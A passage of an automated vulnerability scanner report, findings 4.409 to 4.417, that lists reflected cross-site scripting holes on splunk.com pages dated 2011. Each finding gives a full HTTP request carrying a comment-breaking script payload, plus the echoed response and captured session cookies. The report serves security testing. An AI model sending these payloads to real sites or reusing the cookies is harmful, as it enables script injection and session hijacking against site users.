Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:20:27 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 95797

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>332b08a5ae1=1 -->
...[SNIP]...

4.409. http://www.splunk.com/page/all_experts [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/all_experts

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload f689f--><script>alert(1)</script>9d4a21b7d08 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /pagef689f--><script>alert(1)</script>9d4a21b7d08/all_experts HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:12:10 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:42:10 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:42:10 GMT; path=/
ETag: c0672478f6ca46e6740bcee5ed5464471296943931
Last-Modified: Sat, 05 Feb 2011 22:12:11 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18335

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>9d4a21b7d08/all_experts -->
...[SNIP]...

4.410. http://www.splunk.com/page/all_experts [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/all_experts

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload 8d227--><script>alert(1)</script>da8a26b86d4 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/all_experts8d227--><script>alert(1)</script>da8a26b86d4 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:43 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>da8a26b86d4 -->
...[SNIP]...

4.411. http://www.splunk.com/page/all_experts [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/all_experts

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 96742--><script>alert(1)</script>c4667e6c867 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/all_experts?96742--><script>alert(1)</script>c4667e6c867=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:11:37 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: e01b96203727ff9d6d8991794cf03c091296943897
Last-Modified: Sat, 05 Feb 2011 22:11:37 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 30772

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>c4667e6c867=1 -->
...[SNIP]...

4.412. http://www.splunk.com/page/all_experts/partner [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/all_experts/partner

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload f24d0--><script>alert(1)</script>6e2f687f5f2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /pagef24d0--><script>alert(1)</script>6e2f687f5f2/all_experts/partner HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:12:06 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:42:06 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:42:06 GMT; path=/
ETag: 53ca885bca9987a6ba65090033be63411296943926
Last-Modified: Sat, 05 Feb 2011 22:12:06 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18367

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>6e2f687f5f2/all_experts/partner -->
...[SNIP]...

4.413. http://www.splunk.com/page/all_experts/partner [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/all_experts/partner

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload eb983--><script>alert(1)</script>37e17e49981 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/all_expertseb983--><script>alert(1)</script>37e17e49981/partner HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:36 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18258

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>37e17e49981/partner -->
...[SNIP]...

4.414. http://www.splunk.com/page/all_experts/partner [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/all_experts/partner

Issue detail

The value of REST URL parameter 3 is copied into an HTML comment. The payload 60086--><script>alert(1)</script>4a340830a77 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/all_experts/partner60086--><script>alert(1)</script>4a340830a77 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:13:19 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 8284e3c5e69fc621f0a7f0694f54f6db1296943999
Last-Modified: Sat, 05 Feb 2011 22:13:19 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 30847

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>4a340830a77 -->
...[SNIP]...

4.415. http://www.splunk.com/page/all_experts/partner [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/all_experts/partner

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload b09ec--><script>alert(1)</script>9d2ae226d37 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/all_experts/partner?b09ec--><script>alert(1)</script>9d2ae226d37=1 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:11:32 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
ETag: 3e43cea02b2a149bca9cf3e40bbf22321296943892
Last-Modified: Sat, 05 Feb 2011 22:11:32 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21626

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>9d2ae226d37=1 -->
...[SNIP]...

4.416. http://www.splunk.com/page/ask_expert [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload e5a84--><script>alert(1)</script>e63bcaac2f5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /pagee5a84--><script>alert(1)</script>e63bcaac2f5/ask_expert HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 22:11:58 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: 0
Cache-Control: public, must-revalidate
Pragma: public
Set-Cookie: splunk_com_uid=1; expires=Sat, 05-Feb-2011 22:41:58 GMT; path=/
Set-Cookie: splunk_com_xt_uid=1; expires=Sat, 05-Feb-2011 22:41:58 GMT; path=/
ETag: d8f17efd290a71056151b6db8e77240e1296943918
Last-Modified: Sat, 05 Feb 2011 22:11:58 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18331

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>e63bcaac2f5/ask_expert -->
...[SNIP]...

4.417. http://www.splunk.com/page/ask_expert [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/page/ask_expert

Issue detail

The value of REST URL parameter 2 is copied into an HTML comment. The payload ff0af--><script>alert(1)</script>b24bec51a10 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /page/ask_expertff0af--><script>alert(1)</script>b24bec51a10 HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; Apache=173.193.214.243.1296942538894423; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __utmz=204527314.1296942566.1.1.utmgclid=CPeW6bn_8aYCFcfe4Aod22SxHw|utmccn=(not%20set)|utmcmd=(not%20set); PHPSESSID=fi3ckujbctl2f58e0314143p91; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942566.1296942566.1; XARAYASID=1mtgfd73mkm07svvqv720eu567; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:12:26 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18220

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>b24bec51a10 -->
...[SNIP]...

